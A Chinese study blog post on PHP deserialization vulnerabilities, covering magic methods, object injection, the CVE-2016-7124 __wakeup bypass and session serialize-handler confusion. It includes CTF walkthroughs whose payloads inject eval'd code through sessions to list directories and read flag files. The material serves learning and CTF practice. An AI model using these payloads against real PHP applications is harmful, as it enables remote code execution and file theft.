最近又接触了几道php反序列化的题目,觉得对反序列化的理解又加深了一点,这次就在之前的学习的基础上进行补充。
所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。
序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
一开始看这个概念可能有些懵,看了很多大师傅们的博客后,慢慢明白这个概念的道理。
在程序执行结束时,内存数据便会立即销毁,变量所储存的数据便是内存数据,而文件、数据库是“持久数据”,因此PHP序列化就是将内存的变量数据“保存”到文件中的持久数据的过程。
$s = serialize($变量); //该函数将变量数据进行序列化转换为字符串 file_put_contents(‘./目标文本文件’, $s); //将$s保存到指定文件
下面通过一个具体的例子来了解一下序列化:
输出序列化后的结果:
User lemon is 20 years old. O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:5:"lemon";}
可以看到序列化一个对象后将会保存对象的所有变量,并且发现序列化后的结果都有一个字符,这些字符都是以下字母的缩写。
a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
了解了缩写的类型字母,便可以得到PHP序列化格式
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:5:"lemon";} 对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}
通过以上例子,便可以理解了概念中的通过serialize()函数返回一个包含字节流的字符串
这一段话。
unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值。 在解序列化一个对象前,这个对象的类必须在解序列化之前定义。
简单来理解起来就算将序列化过存储到文件中的数据,恢复到程序代码的变量表示形式的过程,恢复到变量序列化之前的结果。
$s = file_get_contents(‘./目标文本文件’); //取得文本文件的内容(之前序列化过的字符串) $变量 = unserialize($s); //将该文本内容,反序列化到指定的变量中
通过一个例子来了解反序列化:
输出结果:
User lemon is 20 years old.
注意:在解序列化一个对象前,这个对象的类必须在解序列化之前定义。否则会报错
在先知上看大师傅举得例子对序列化和反序列化的介绍,也很好理解。
<?php class A{ var $test = "demo"; } $a = new A(); // 生成a对象 $b = serialize($a); // 序列化a对象为b $c = unserialize($b); // 反序列化b对象为c print_r($b); // 输出序列化之后的值:O:1:"A":1:{s:4:"test";s:4:"demo";} echo "\n"; print_r($c->test); // 输出对象c中test的值:demo ?>
在学习漏洞前,先来了解一下PHP魔法函数,对接下来的学习会很有帮助
PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法
__construct 当一个对象创建时被调用, __destruct 当一个对象销毁时被调用, __toString 当一个对象被当作一个字符串被调用。 __wakeup() 使用unserialize时触发 __sleep() 使用serialize时触发 __destruct() 对象被销毁时触发 __call() 在对象上下文中调用不可访问的方法时触发 __callStatic() 在静态上下文中调用不可访问的方法时触发 __get() 用于从不可访问的属性读取数据 __set() 用于将数据写入不可访问的属性 __isset() 在不可访问的属性上调用isset()或empty()触发 __unset() 在不可访问的属性上使用unset()时触发 __toString() 把类当作字符串使用时触发,返回值需要为字符串 __invoke() 当脚本尝试将对象调用为函数时触发
这里只列出了一部分的魔法函数,具体可见PHP 手册
下面通过一个例子来了解一下魔法函数被自动调用的过程
<?php class test{ public $varr1="abc"; public $varr2="123"; public function echoP(){ echo $this->varr1."<br>"; } public function __construct(){ echo "__construct<br>"; } public function __destruct(){ echo "__destruct<br>"; } public function __toString(){ return "__toString<br>"; } public function __sleep(){ echo "__sleep<br>"; return array('varr1','varr2'); } public function __wakeup(){ echo "__wakeup<br>"; } } $obj = new test(); //实例化对象,调用__construct()方法,输出__construct $obj->echoP(); //调用echoP()方法,输出"abc" echo $obj; //obj对象被当做字符串输出,调用__toString()方法,输出__toString $s =serialize($obj); //obj对象被序列化,调用__sleep()方法,输出__sleep echo unserialize($s); //$s首先会被反序列化,会调用__wake()方法,被反序列化出来的对象又被当做字符串,就会调用_toString()方法。 // 脚本结束又会调用__destruct()方法,输出__destruct ?>
显示结果:
例子载自于脚本之家,通过这个例子就可以清晰的看到魔法函数在符合相应的条件时便会被调用。
当用户的请求在传给反序列化函数unserialize()
之前没有被正确的过滤时就会产生漏洞。因为PHP允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的unserialize
函数,最终导致一个在该应用范围内的任意PHP对象注入。
对象漏洞出现得满足两个前提:
一、
unserialize
的参数可控。
二、 代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。
<?php class A{ var $test = "demo"; function __destruct(){ echo $this->test; } } $a = $_GET['test']; $a_unser = unserialize($a); ?>
比如这个列子,直接是用户生成的内容传递给unserialize()函数
,那就可以构造这样的语句
?test=O:1:"A":1:{s:4:"test";s:5:"lemon";}
在脚本运行结束后便会调用_destruct
函数,同时会覆盖test变量输出lemon。
发现这个漏洞,便可以利用这个漏洞点控制输入变量,拼接成一个序列化对象。
再看下面这个例子:
<?php class A{ var $test = "demo"; function __destruct(){ @eval($this->test);//_destruct()函数中调用eval执行序列化对象中的语句 } } $test = $_POST['test']; $len = strlen($test)+1; $pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象 $test_unser = unserialize($pp); // 反序列化同时触发_destruct函数 ?>
其实仔细观察就会发现,其实我们手动构造序列化对象就是为了unserialize()函数
能够触发__destruc()
函数,然后执行在__destruc()
函数里恶意的语句。
所以我们利用这个漏洞点便可以获取web shell了
PHP5<5.6.25
PHP7<7.0.10
PHP反序列化漏洞CVE-2016-7124
#a#重点:当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行
百度杯——Hash
前面的步骤就不再叙述,主要是为了学习反序列化的一些知识
其实仔细分析代码,只要我们能绕过两点即可得到f15g_1s_here.php
的内容
Gu3ss_m3_h2h2.php
,这个魔法函数在反序列化时会触发并强制转成Gu3ss_m3_h2h2.php
那么问题就来了,如果绕过正则表达式
/[oc]:\d+:/i
,例如:o:4:
这样就会被匹配到,而绕过也很简单,只需加上一个+
,这个正则表达式即匹配不到0:+4:
_wakeup()
魔法函数,上面提到了当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 _wakeup
函数的执行编写php序列化脚本
<?php class Demo { private $file = 'Gu3ss_m3_h2h2.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'Gu3ss_m3_h2h2.php') { //the secret is in the f15g_1s_here.php $this->file = 'Gu3ss_m3_h2h2.php'; } } } #先创建一个对象,自动调用__construct魔法函数 $obj = new Demo('f15g_1s_here.php'); #进行序列化 $a = serialize($obj); #使用str_replace() 函数进行替换,来绕过正则表达式的检查 $a = str_replace('O:4:','O:+4:',$a); #使用str_replace() 函数进行替换,来绕过__wakeup()魔法函数 $a = str_replace(':1:',':2:',$a); #再进行base64编码 echo base64_encode($a); ?>
将得到的参数传入即可得到另一段代码,这里主要学习反序列化的知识,后面的就不再写了。
先来了解一下关于session
的一些基础知识
在计算机中,尤其是在网络应用中,称为“会话控制”。Session 对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web 页时,如果该用户还没有会话,则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后,服务器将终止该会话。
当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。
除此之外,还需要知道session_start()
这个函数已经这个函数所起的作用:
当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。
了解了有关session
的概念后,还需要了解php.ini
中一些Session
配置
session.save_path="" --设置session的存储路径 session.save_handler=""--设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen--指定会话模块是否在请求开始时启动一个会话默认为0不启动 session.serialize_handler string--定义用来序列化/反序列化的处理器名字。默认使用php
这里我是在Windows上搭建的所以显示的路径为D盘,如果是在Linux上搭建的话,常见的php-session
存放位置有:
/var/lib/php5/sess_PHPSESSID /var/lib/php7/sess_PHPSESSID /var/lib/php/sess_PHPSESSID /tmp/sess_PHPSESSID /tmp/sessions/sess_PHPSESSED
想要知道为什么为出现这个session漏洞,就需要了解session机制中对序列化是如何处理的
参考l3m0n师傅的表
这个便是在相应的处理器处理下,session
所存储的格式,这里举个例子来了解一下在不同的处理器下,session所储存的格式有什么不一样(测试的时候php版本一定要大于5.5.4,不然session写不进文件))
<?php ini_set('session.serialize_handler', 'php'); //ini_set("session.serialize_handler", "php_serialize"); //ini_set("session.serialize_handler", "php_binary"); session_start(); $_SESSION['lemon'] = $_GET['a']; echo "<pre>"; var_dump($_SESSION); echo "</pre>";
比如这里我get进去一个值为shy,查看一下各个存储格式:
php : lemon|s:3:"shy"; php_serialize : a:1:{s:5:"lemon";s:3:"shy";} php_binary : lemons:3:"shy";
这有什么问题,其实PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。如:使用不同引擎来处理session文件。
php引擎的存储格式是键名 | serialized_string
,而php_serialize引擎的存储格式是serialized_string
。如果程序使用两个引擎来分别处理的话就会出现问题。
下面就模仿师傅的操作学习一下
先以php_serialize
的格式存储,从客户端接收参数并存入session
变量
(1.php)
接下来使用php
引擎读取session文件
(2.php)
攻击思路:
首先访问1.php
,在传入的参数最开始加一个'|'
,由于1.php
是使用php_serialize
引擎处理,因此只会把'|'
当做一个正常的字符。然后访问2.php
,由于用的是php
引擎,因此遇到'|'
时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对'|'
后的值进行反序列化处理。
这里可能会有一个小疑问,为什么在解析session文件时直接对'|'
后的值进行反序列化处理,这也是处理器的功能?这个其实是因为session_start()
这个函数,可以看下官方说明:
首先生成一个payload:
<?php class student{ var $name; var $age; } $a = new student(); $a->nage = "hacker"; $a->age = "1111"; echo serialize($a);
攻击思路中说到了因为不同的引擎会对'|'
,产生歧义,所以在传参时在payload前加个'|'
,作为a参数,访问1.php
,查看一下本地session文件,发现payload已经存入到session
文件
php_serialize
引擎传入的payload作为lemon对应值,而php
则完全不一样:
访问一下2.php
看看会有什么结果
成功触发了student类的__wakeup()
方法,所以这种攻击思路是可行的。但这种方法是在可以对session
的进行赋值的,那如果代码中不存在对$_SESSION
变量赋值的情况下又该如何利用
在PHP
中还存在一个upload_process
机制,即自动在$_SESSION
中创建一个键值对,值中刚好存在用户可控的部分,可以看下官方描述的,这个功能在文件上传的过程中利用session
实时返回上传的进度。
但第一次看到真的有点懵,这该怎么去利用,看了大师傅的博客才明白,这种攻击方法与上一部分基本相同,不过这里需要先上传文件,同时POST
一个与session.upload_process.name
的同名变量。后端会自动将POST
的这个同名变量作为键进行序列化然后存储到session
文件中。下次请求就会反序列化session文件,从中取出这个键。所以攻击点还是跟上一部分一模一样,程序还是使用了不同的session处理引擎。
实践一下,可以来看一道ctf题目
Jarvis OJ——PHPINFO
当我们随便传入一个值时,便会触发__construct()
魔法函数,从而出现phpinfo
页面,在phpinfo页面发现
发现默认的引擎是php-serialize
,而题目所使用的引擎是php,因为反序列化和序列化使用的处理器不同,由于格式的原因会导致数据无法正确反序列化,那么就可以通过构造伪造任意数据。
观察代码会发现这段代码是没有$_SESSION
变量赋值但符合使用不同的引擎来处理session文件,所以这里就使用到了php中的upload_process
机制。
通过POST
方法来构造数据传入$_SESSION
,首先构造POST
提交表单
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form>
接下来构造序列化payload
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); class OowoO { public $mdzz='payload'; } $obj = new OowoO(); echo serialize($obj); ?>
将payload改为如下代码:
print_r(scandir(dirname(__FILE__))); #scandir目录中的文件和目录 #dirname函数返回路径中的目录部分 #__FILE__ php中的魔法常量,文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名 #序列化后的结果 O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
为防止双引号被转义,在双引号前加上\
,除此之外还要加上|
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
在这个页面随便上传一个文件,然后抓包修改filename的值
可以看到Here_1s_7he_fl4g_buT_You_Cannot_see.php
这个文件,flag肯定在里面,但还有一个问题就是不知道这个路径,路径的问题就需要回到phpinfo页面去查看
$_SERVER['SCRIPT_FILENAME'] 也是包含当前运行脚本的路径,与 $_SERVER['SCRIPT_NAME'] 不同的是,这是服务器端的绝对路径。
既然知道了路径,就继续构造payload即可
print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php")); #file_get_contents() 函数把整个文件读入一个字符串中。
接下来的就还是序列化然后改一下格式传入即可,后面的就不再写了
通过这次的学习,真的学到了很多关于反序列化的知识!
参考博客:
PHP反序列化漏洞与Webshell
实战经验丨PHP反序列化漏洞总结
PHP-Session利用总结
关于PHP中的SESSION技术
l3m0n
php session序列化攻击面浅析